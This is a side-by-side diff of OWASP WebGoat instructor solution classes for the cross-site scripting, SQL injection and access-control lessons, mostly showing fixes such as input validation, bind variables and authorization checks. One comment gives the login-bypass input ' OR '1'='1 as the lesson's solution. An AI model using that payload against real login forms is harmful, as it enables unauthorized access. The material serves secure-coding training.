import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
/* STAGE 4 FIXES
Solution Summary: Look in the WebContent/lesson/CrossSiteScripting/ViewProfile.jsp
Look for the <-- STAGE 4 - FIX in the ViewProfile.jsp /*
* STAGE 4 FIXES Solution Summary: Look in the WebContent/lesson/CrossSiteScripting/ViewProfile.jsp
*/ * Look for the <-- STAGE 4 - FIX in the ViewProfile.jsp
*/
public class ViewProfile_i extends ViewProfile public class ViewProfile_i extends ViewProfile
{ {

View File

@ -1,131 +1,59 @@
package org.owasp.webgoat.lessons.instructor.DBCrossSiteScripting; package org.owasp.webgoat.lessons.instructor.DBCrossSiteScripting;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile; import org.owasp.webgoat.lessons.CrossSiteScripting.UpdateProfile;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
/* STAGE 2 FIXES
Solution Summary (1. or 2.)
1. Modify the UPDATE_EMPLOYEE stored procedure in the database and add
a validation step. Oracle 10G now supports regular expressions.
2. Apply a column constraint can also work IFF the existing data is clean
Solution Steps: /*
1. Talk about the different database approaches. * STAGE 2 FIXES Solution Summary (1. or 2.) 1. Modify the UPDATE_EMPLOYEE stored procedure in the
a. Apply validation in the UPDATE stored proc * database and add a validation step. Oracle 10G now supports regular expressions. 2. Apply a
- Possible to bypass by not using that stored proc * column constraint can also work IFF the existing data is clean Solution Steps: 1. Talk about the
* different database approaches. a. Apply validation in the UPDATE stored proc - Possible to bypass
b. Apply a table column constraint * by not using that stored proc b. Apply a table column constraint - Cannot be bypassed. The DB
- Cannot be bypassed. The DB enforces the constraint under all conditions * enforces the constraint under all conditions 2. Fix the stored proc Define the pattern. Validate
* the field against the pattern. Raise an exception if invalid. CREATE OR REPLACE PROCEDURE
2. Fix the stored proc * UPDATE_EMPLOYEE( v_userid IN employee.userid%type, v_first_name IN employee.first_name%type,
* v_last_name IN employee.last_name%type, v_ssn IN employee.ssn%type, v_title IN
Define the pattern. * employee.title%type, v_phone IN employee.phone%type, v_address1 IN employee.address1%type,
Validate the field against the pattern. * v_address2 IN employee.address2%type, v_manager IN employee.manager%type, v_start_date IN
Raise an exception if invalid. * employee.start_date%type, v_salary IN employee.salary%type, v_ccn IN employee.ccn%type,
* v_ccn_limit IN employee.ccn_limit%type, v_disciplined_date IN employee.disciplined_date%type,
CREATE OR REPLACE PROCEDURE UPDATE_EMPLOYEE( * v_disciplined_notes IN employee.disciplined_notes%type, v_personal_description IN
v_userid IN employee.userid%type, * employee.personal_description%type ) AS P_ADDRESS1 VARCHAR2(100) := '^[a-zA-Z0-9,\. ]{0,80}$';
v_first_name IN employee.first_name%type, * BEGIN IF NOT REGEXP_LIKE(v_address1, P_ADDRESS1) THEN RAISE VALUE_ERROR; END IF; UPDATE EMPLOYEE
v_last_name IN employee.last_name%type, * SET first_name = v_first_name, last_name = v_last_name, ssn = v_ssn, title = v_title, phone =
v_ssn IN employee.ssn%type, * v_phone, address1 = v_address1, address2 = v_address2, manager = v_manager, start_date =
v_title IN employee.title%type, * v_Start_date, salary = v_salary, ccn = v_ccn, ccn_limit = v_ccn_limit, disciplined_date =
v_phone IN employee.phone%type, * v_disciplined_date, disciplined_notes = v_disciplined_notes, personal_description =
v_address1 IN employee.address1%type, * v_personal_description WHERE userid = v_userid; END; / 3. Apply a table column constraint ALTER
v_address2 IN employee.address2%type, * TABLE EMPLOYEE ADD CONSTRAINT address1_ck CHECK (REGEXP_LIKE(address1, '^[a-zA-Z0-9,\.
v_manager IN employee.manager%type, * ]{0,80}$')); FOR SQL SERVER, the following is required: DROP PROCEDURE
v_start_date IN employee.start_date%type, * webgoat_guest.UPDATE_EMPLOYEE GO CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
v_salary IN employee.salary%type, * @v_userid INT,
v_ccn IN employee.ccn%type, * @v_first_name VARCHAR(20),
v_ccn_limit IN employee.ccn_limit%type, * @v_last_name VARCHAR(20),
v_disciplined_date IN employee.disciplined_date%type, * @v_ssn VARCHAR(12),
v_disciplined_notes IN employee.disciplined_notes%type, * @v_title VARCHAR(20),
v_personal_description IN employee.personal_description%type * @v_phone VARCHAR(13),
) * @v_address1 VARCHAR(80),
AS * @v_address2 VARCHAR(80),
P_ADDRESS1 VARCHAR2(100) := '^[a-zA-Z0-9,\. ]{0,80}$'; * @v_manager INT,
BEGIN * @v_start_date CHAR(8),
IF NOT REGEXP_LIKE(v_address1, P_ADDRESS1) THEN * @v_salary INT,
RAISE VALUE_ERROR; * @v_ccn VARCHAR(30),
END IF; * @v_ccn_limit INT,
UPDATE EMPLOYEE * @v_disciplined_date CHAR(8),
SET * @v_disciplined_notes VARCHAR(60),
first_name = v_first_name, * @v_personal_description VARCHAR(60) AS IF [webgoat_guest].RegexMatch(@v_address1,
last_name = v_last_name, * N'^[a-zA-Z0-9,\. ]{0,80}$') = 0 BEGIN RAISERROR('Illegal characters in address1', 11, 1) RETURN
ssn = v_ssn, * END UPDATE EMPLOYEE SET first_name = @v_first_name, last_name = @v_last_name, ssn = @v_ssn, title
title = v_title, * = @v_title, phone = @v_phone, address1 = @v_address1, address2 = @v_address2, manager =
phone = v_phone, * @v_manager, start_date = @v_Start_date, salary = @v_salary, ccn = @v_ccn, ccn_limit =
address1 = v_address1, * @v_ccn_limit, disciplined_date = @v_disciplined_date, disciplined_notes = @v_disciplined_notes,
address2 = v_address2, * personal_description = @v_personal_description WHERE userid = @v_userid; GO
manager = v_manager, */
start_date = v_Start_date,
salary = v_salary,
ccn = v_ccn,
ccn_limit = v_ccn_limit,
disciplined_date = v_disciplined_date,
disciplined_notes = v_disciplined_notes,
personal_description = v_personal_description
WHERE
userid = v_userid;
END;
/
3. Apply a table column constraint
ALTER TABLE EMPLOYEE
ADD CONSTRAINT address1_ck CHECK (REGEXP_LIKE(address1, '^[a-zA-Z0-9,\. ]{0,80}$'));
FOR SQL SERVER, the following is required:
DROP PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
GO
CREATE PROCEDURE webgoat_guest.UPDATE_EMPLOYEE
@v_userid INT,
@v_first_name VARCHAR(20),
@v_last_name VARCHAR(20),
@v_ssn VARCHAR(12),
@v_title VARCHAR(20),
@v_phone VARCHAR(13),
@v_address1 VARCHAR(80),
@v_address2 VARCHAR(80),
@v_manager INT,
@v_start_date CHAR(8),
@v_salary INT,
@v_ccn VARCHAR(30),
@v_ccn_limit INT,
@v_disciplined_date CHAR(8),
@v_disciplined_notes VARCHAR(60),
@v_personal_description VARCHAR(60)
AS
IF [webgoat_guest].RegexMatch(@v_address1, N'^[a-zA-Z0-9,\. ]{0,80}$') = 0
BEGIN
RAISERROR('Illegal characters in address1', 11, 1)
RETURN
END
UPDATE EMPLOYEE
SET
first_name = @v_first_name,
last_name = @v_last_name,
ssn = @v_ssn,
title = @v_title,
phone = @v_phone,
address1 = @v_address1,
address2 = @v_address2,
manager = @v_manager,
start_date = @v_Start_date,
salary = @v_salary,
ccn = @v_ccn,
ccn_limit = @v_ccn_limit,
disciplined_date = @v_disciplined_date,
disciplined_notes = @v_disciplined_notes,
personal_description = @v_personal_description
WHERE
userid = @v_userid;
GO
*/
public class UpdateProfile_i extends UpdateProfile public class UpdateProfile_i extends UpdateProfile
{ {

View File

@ -1,44 +1,17 @@
package org.owasp.webgoat.lessons.instructor.DBSQLInjection; package org.owasp.webgoat.lessons.instructor.DBSQLInjection;
/* /*
* The solution is to choose Neville's userid, and enter a password like: * The solution is to choose Neville's userid, and enter a password like: ' OR '1'='1 Modify the
* ' OR '1'='1 * Stored function LOGIN_EMPLOYEE to use fixed statements or bind variables For ORACLE: CREATE OR
* Modify the Stored function LOGIN_EMPLOYEE to use fixed statements or bind variables * REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS
* * cnt NUMBER; BEGIN SELECT COUNT() INTO cnt FROM EMPLOYEE WHERE USERID = v_id AND PASSWORD =
* * v_password; RETURN cnt; END; / OR CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id
* For ORACLE: * NUMBER, v_password VARCHAR) RETURN NUMBER AS stmt VARCHAR(32767); cnt NUMBER; BEGIN stmt :=
CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS * 'SELECT COUNT () FROM EMPLOYEE WHERE USERID = :1 AND PASSWORD = :2'; EXECUTE IMMEDIATE stmt INTO
cnt NUMBER; * cnt USING v_id, v_password; RETURN cnt; END; / For SQL SERVER CREATE FUNCTION
BEGIN * webgoat_guest.EMPLOYEE_LOGIN (
SELECT COUNT(*) INTO cnt FROM EMPLOYEE * @v_id INT,
WHERE USERID = v_id * @v_password VARCHAR(100) ) RETURNS INTEGER AS BEGIN DECLARE @count int SELECT @count = COUNT()
AND PASSWORD = v_password; * FROM EMPLOYEE WHERE USERID = @v_id AND PASSWORD = @v_password; return @count END
RETURN cnt; */
END;
/
* OR
CREATE OR REPLACE FUNCTION WEBGOAT_guest.EMPLOYEE_LOGIN(v_id NUMBER, v_password VARCHAR) RETURN NUMBER AS
stmt VARCHAR(32767); cnt NUMBER;
BEGIN
stmt := 'SELECT COUNT (*) FROM EMPLOYEE WHERE USERID = :1 AND PASSWORD = :2';
EXECUTE IMMEDIATE stmt INTO cnt USING v_id, v_password;
RETURN cnt;
END;
/
* For SQL SERVER
CREATE FUNCTION webgoat_guest.EMPLOYEE_LOGIN (
@v_id INT,
@v_password VARCHAR(100)
) RETURNS INTEGER
AS
BEGIN
DECLARE @count int
SELECT @count = COUNT(*) FROM EMPLOYEE WHERE USERID = @v_id AND PASSWORD = @v_password;
return @count
END
*/

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl; package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.DeleteProfile; import org.owasp.webgoat.lessons.RoleBasedAccessControl.DeleteProfile;
@ -11,38 +11,36 @@ import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
public class DeleteProfile_i extends DeleteProfile public class DeleteProfile_i extends DeleteProfile
{ {
public DeleteProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public DeleteProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName, chainedAction); super(lesson, lessonName, actionName, chainedAction);
} }
public void doDeleteEmployeeProfile(WebSession s, int userId, int employeeId) public void doDeleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException
throws UnauthorizedException
{ {
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) // FIX if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.DELETEPROFILE_ACTION)) // FIX
{ {
try try
{ {
String query = "DELETE FROM employee WHERE userid = " + employeeId; String query = "DELETE FROM employee WHERE userid = " + employeeId;
//System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
Statement statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); Statement statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
statement.executeUpdate(query); statement.executeUpdate(query);
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error deleting employee profile" ); s.setMessage("Error deleting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error deleting employee profile" ); s.setMessage("Error deleting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl; package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.EditProfile; import org.owasp.webgoat.lessons.RoleBasedAccessControl.EditProfile;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
@ -11,12 +11,13 @@ import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/** /**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web * Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP * Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute * published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* this software. * and/or redistribute this software.
* *
*/ */
/*************************************************/ /*************************************************/
@ -32,61 +33,52 @@ public class EditProfile_i extends EditProfile
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
throws UnauthorizedException
{ {
// Query the database to determine if this employee has access to this function // Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user // Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null; Employee profile = null;
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.EDITPROFILE_ACTION)) // FIX if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.EDITPROFILE_ACTION)) // FIX
{ {
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s).prepareStatement( query, PreparedStatement answer_statement = WebSession.getConnection(s)
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY ); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee( profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getInt("userid"), answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
answer_results.getString("first_name"), .getString("title"), answer_results.getString("phone"), answer_results
answer_results.getString("last_name"), .getString("address1"), answer_results.getString("address2"), answer_results
answer_results.getString("ssn"), .getInt("manager"), answer_results.getString("start_date"), answer_results
answer_results.getString("title"), .getInt("salary"), answer_results.getString("ccn"), answer_results
answer_results.getString("phone"), .getInt("ccn_limit"), answer_results.getString("disciplined_date"),
answer_results.getString("address1"), answer_results.getString("disciplined_notes"), answer_results
answer_results.getString("address2"), .getString("personal_description"));
answer_results.getInt("manager"), /*
answer_results.getString("start_date"), * System.out.println("Retrieved employee from db: " +
answer_results.getInt("salary"), * profile.getFirstName() + " " + profile.getLastName() + " (" +
answer_results.getString("ccn"), * profile.getId() + ")");
answer_results.getInt("ccn_limit"), */}
answer_results.getString("disciplined_date"), } catch (SQLException sqle)
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/ }
}
catch ( SQLException sqle )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error getting employee profile" ); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl; package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
@ -11,58 +12,48 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/** /**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web * Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP * Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute * published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* this software. * and/or redistribute this software.
* *
*/ */
/* STAGE 2 FIXES /*
Solution Summary: Edit RoleBasedAccessControl.java and change handleRequest(). * STAGE 2 FIXES Solution Summary: Edit RoleBasedAccessControl.java and change handleRequest().
Modify handleRequest() with lines denoted by // STAGE 2 - FIX. * Modify handleRequest() with lines denoted by // STAGE 2 - FIX. Solution Steps: 1. This solution
Solution Steps: * adds an access control check in the controller. Point out that their architecture may require the
1. This solution adds an access control check in the controller. * check to occur in the business function. 2. Look at the RoleBasedAccessControl class identify
Point out that their architecture may require the check to occur in the business function. * where execution happens of an action. a. action.handleRequest(s); is not protected by an access
2. Look at the RoleBasedAccessControl class identify where execution happens of an action. * control check. b. look at handleRequest(s) to determine where access control check should occur.
a. action.handleRequest(s); is not protected by an access control check. * c. add protection by a programmatic authorization check before dispatching to the action: 1. Add
b. look at handleRequest(s) to determine where access control check should occur. * an isAuthorized() call before dispatching to the action, and throw an unauthorized exception.
c. add protection by a programmatic authorization check before dispatching to the action: * Tell student this exception exists. Use eclipse command completion to find the isAuthorized()
1. Add an isAuthorized() call before dispatching to the action, * call on the action. From command completion - determine calling arguments of isAuthorized() int
and throw an unauthorized exception. Tell student this exception exists. * userId = action.getUserId(s); if (action.isAuthorized(s, userId, action.getActionName())) {
Use eclipse command completion to find the isAuthorized() call on the action. * action.handleRequest(s); } else throw new UnauthorizedException(); Repeat stage 1 and note that
From command completion - determine calling arguments of isAuthorized() * the function fails with a "Not authorized" message. Tom will be in the list again, because the DB
* is reset when lesson restarts. Adding the access check in the
int userId = action.getUserId(s); * RoleBasedAccessControl:handleRequest() is putting the check in the Controller The access check
if (action.isAuthorized(s, userId, action.getActionName())) * can also be added to DeleteProfile.deleteEmployeeProfile(), which is putting the check in the
{ * Business Function
action.handleRequest(s); */
}
else
throw new UnauthorizedException();
Repeat stage 1 and note that the function fails with a "Not authorized" message.
Tom will be in the list again, because the DB is reset when lesson restarts.
Adding the access check in the RoleBasedAccessControl:handleRequest() is putting the check in the Controller
The access check can also be added to DeleteProfile.deleteEmployeeProfile(), which is putting the check in the Business Function
*/
public class RoleBasedAccessControl_i extends RoleBasedAccessControl public class RoleBasedAccessControl_i extends RoleBasedAccessControl
{ {
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
//System.out.println("RoleBasedAccessControl.handleRequest()"); // System.out.println("RoleBasedAccessControl.handleRequest()");
if (s.getLessonSession(this) == null) if (s.getLessonSession(this) == null) s.openLessonSession(this);
s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
// Missing the action - send them back to login. // Missing the action - send them back to login.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
@ -74,26 +65,27 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
if (action != null) if (action != null)
{ {
// FIXME: This code has gotten much uglier // FIXME: This code has gotten much uglier
//System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " + action.getActionName()); // System.out.println("RoleBasedAccessControl.handleRequest() dispatching to: " +
// action.getActionName());
if (!action.requiresAuthentication()) if (!action.requiresAuthentication())
{ {
// Access to Login does not require authentication. // Access to Login does not require authentication.
action.handleRequest(s); action.handleRequest(s);
} }
else else
{ {
if (action.isAuthenticated(s)) if (action.isAuthenticated(s))
{ {
int userId = action.getUserId(s); // STAGE 2 - FIX int userId = action.getUserId(s); // STAGE 2 - FIX
// action.getActionName() returns the user requested function which // action.getActionName() returns the user requested function which
// is tied to the button click from the listStaff jsp // is tied to the button click from the listStaff jsp
// //
// Checking isAuthorized() for the requested action // Checking isAuthorized() for the requested action
if (action.isAuthorized(s, userId, action.getActionName())) // STAGE 2 - FIX if (action.isAuthorized(s, userId, action.getActionName())) // STAGE 2 - FIX
{ {
// Calling the handleRequest() method for the requested action // Calling the handleRequest() method for the requested action
action.handleRequest(s); action.handleRequest(s);
} }
else else
@ -106,26 +98,22 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
} }
else else
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ParameterNotFoundException pnfe)
catch (ParameterNotFoundException pnfe)
{ {
//System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (ValidationException ve)
catch (ValidationException ve)
{ {
//System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} } catch (UnauthenticatedException ue)
catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
//System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} } catch (UnauthorizedException ue2)
catch (UnauthorizedException ue2)
{ {
String stage = getStage(s); String stage = getStage(s);
// Update lesson status if necessary. // Update lesson status if necessary.
@ -133,50 +121,47 @@ public class RoleBasedAccessControl_i extends RoleBasedAccessControl
{ {
try try
{ {
if (GoatHillsFinancial.DELETEPROFILE_ACTION.equals(requestedActionName) && if (GoatHillsFinancial.DELETEPROFILE_ACTION.equals(requestedActionName)
!isAuthorized(s, getUserId(s), GoatHillsFinancial.DELETEPROFILE_ACTION)) && !isAuthorized(s, getUserId(s), GoatHillsFinancial.DELETEPROFILE_ACTION))
{ {
setStageComplete(s, STAGE2); setStageComplete(s, STAGE2);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
pnfe.printStackTrace(); pnfe.printStackTrace();
} }
} }
//System.out.println("isAuthorized() exit stage: " + getStage(s)); // System.out.println("isAuthorized() exit stage: " + getStage(s));
// Update lesson status if necessary. // Update lesson status if necessary.
if (STAGE4.equals(stage)) if (STAGE4.equals(stage))
{ {
try try
{ {
//System.out.println("Checking for stage 4 completion"); // System.out.println("Checking for stage 4 completion");
DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s)); DefaultLessonAction action = (DefaultLessonAction) getAction(getCurrentAction(s));
int userId = Integer.parseInt((String)s.getRequest().getSession().getAttribute(getLessonName() + "." int userId = Integer.parseInt((String) s.getRequest().getSession()
+ GoatHillsFinancial.USER_ID)); .getAttribute(getLessonName() + "." + GoatHillsFinancial.USER_ID));
int employeeId = s.getParser().getIntParameter( int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID);
GoatHillsFinancial.EMPLOYEE_ID);
if (!action.isAuthorizedForEmployee(s, userId, employeeId)) if (!action.isAuthorizedForEmployee(s, userId, employeeId))
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
} }
} catch (Exception e) } catch (Exception e)
{ {
// swallow this - shouldn't happen inthe normal course // swallow this - shouldn't happen inthe normal course
// e.printStackTrace(); // e.printStackTrace();
} }
} }
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
ue2.printStackTrace(); ue2.printStackTrace();
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl; package org.owasp.webgoat.lessons.instructor.RoleBasedAccessControl;
import java.sql.PreparedStatement; import java.sql.PreparedStatement;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl; import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
@ -13,12 +13,13 @@ import org.owasp.webgoat.session.Employee;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/** /**
* Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web * Copyright (c) 2006 Free Software Foundation developed under the custody of the Open Web
* Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is published by OWASP * Application Security Project (http://www.owasp.org) This software package org.owasp.webgoat.is
* under the GPL. You should read and accept the LICENSE before you use, modify and/or redistribute * published by OWASP under the GPL. You should read and accept the LICENSE before you use, modify
* this software. * and/or redistribute this software.
* *
*/ */
/*************************************************/ /*************************************************/
@ -27,7 +28,6 @@ import org.owasp.webgoat.session.WebSession;
/* */ /* */
/*************************************************/ /*************************************************/
public class UpdateProfile_i extends UpdateProfile public class UpdateProfile_i extends UpdateProfile
{ {
public UpdateProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public UpdateProfile_i(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
@ -43,12 +43,13 @@ public class UpdateProfile_i extends UpdateProfile
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
@ -64,19 +65,17 @@ public class UpdateProfile_i extends UpdateProfile
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch ( SQLException sqle )
{ {
s.setMessage( "Error updating employee profile" ); s.setMessage("Error updating employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} } catch (Exception e)
catch ( Exception e )
{ {
s.setMessage( "Error updating employee profile" ); s.setMessage("Error updating employee profile");
e.printStackTrace(); e.printStackTrace();
} }
} }
else else
{ {
@ -84,9 +83,7 @@ public class UpdateProfile_i extends UpdateProfile
} }
} }
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
public void createEmployeeProfile(WebSession s, int userId, Employee employee)
throws UnauthorizedException
{ {
if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.UPDATEPROFILE_ACTION)) // FIX if (s.isAuthorizedInLesson(userId, RoleBasedAccessControl.UPDATEPROFILE_ACTION)) // FIX
{ {
